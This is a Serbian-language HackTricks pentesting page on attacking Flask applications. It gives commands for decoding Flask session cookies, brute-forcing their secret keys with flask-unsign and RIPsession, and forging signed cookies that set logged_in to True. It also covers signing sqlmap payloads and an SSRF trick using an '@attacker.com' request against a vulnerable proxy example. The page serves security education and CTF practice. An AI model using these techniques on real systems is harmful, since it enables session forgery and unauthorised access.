# Flask {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=flask) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %} **Verovatno, ako igrate CTF, aplikacija zasnovana na Flask-u će biti povezana sa** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.** ## Cookies Podrazumevano ime sesije kolačića je **`session`**. ### Decoder Online Flask dekoder kolačića: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi) #### Manual Uzmi prvi deo kolačića do prve tačke i dekodiraj ga u Base64. ```bash echo "ImhlbGxvIg" | base64 -d ``` Kolačić je takođe potpisan korišćenjem lozinke ### **Flask-Unsign** Alat za komandnu liniju za preuzimanje, dekodiranje, brute-force i kreiranje sesijskih kolačića Flask aplikacije pogađanjem tajnih ključeva. {% embed url="https://pypi.org/project/flask-unsign/" %} ```bash pip3 install flask-unsign ``` #### **Dekodiraj Kolačić** ```bash flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8' ``` #### **Brute Force** ```bash flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '' --no-literal-eval ``` #### **Potpisivanje** ```bash flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' ``` #### Potpisivanje korišćenjem legacijske (stare verzije) ```bash flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy ``` ### **RIPsession** Alat za komandnu liniju za brute-force napade na veb sajtove koristeći kolačiće kreirane sa flask-unsign. {% embed url="https://github.com/Tagvi/ripsession" %} ```bash ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt ``` ### SQLi u Flask sesionom kolačiću sa SQLmap [**Ovaj primer**](../../pentesting-web/sql-injection/sqlmap/#eval) koristi sqlmap `eval` opciju da **automatski potpiše sqlmap payload-e** za flask koristeći poznatu tajnu. ## Flask Proxy za SSRF [**U ovom izveštaju**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) objašnjeno je kako Flask omogućava zahtev koji počinje sa karakterom "@": ```http GET @/ HTTP/1.1 Host: target.com Connection: close ``` Koji od sledećih scenarija: ```python from flask import Flask from requests import get app = Flask('__main__') SITE_NAME = 'https://google.com/' @app.route('/', defaults={'path': ''}) @app.route('/') def proxy(path): return get(f'{SITE_NAME}{path}').content app.run(host='0.0.0.0', port=8080) ``` Može omogućiti uvođenje nečega poput "@attacker.com" kako bi izazvao **SSRF**.
Koristite [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=flask) za lako kreiranje i **automatizaciju radnih tokova** pokretanih najnaprednijim alatima zajednice na svetu.\ Pribavite pristup danas: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %} {% hint style="success" %} Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Podržite HackTricks * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
{% endhint %}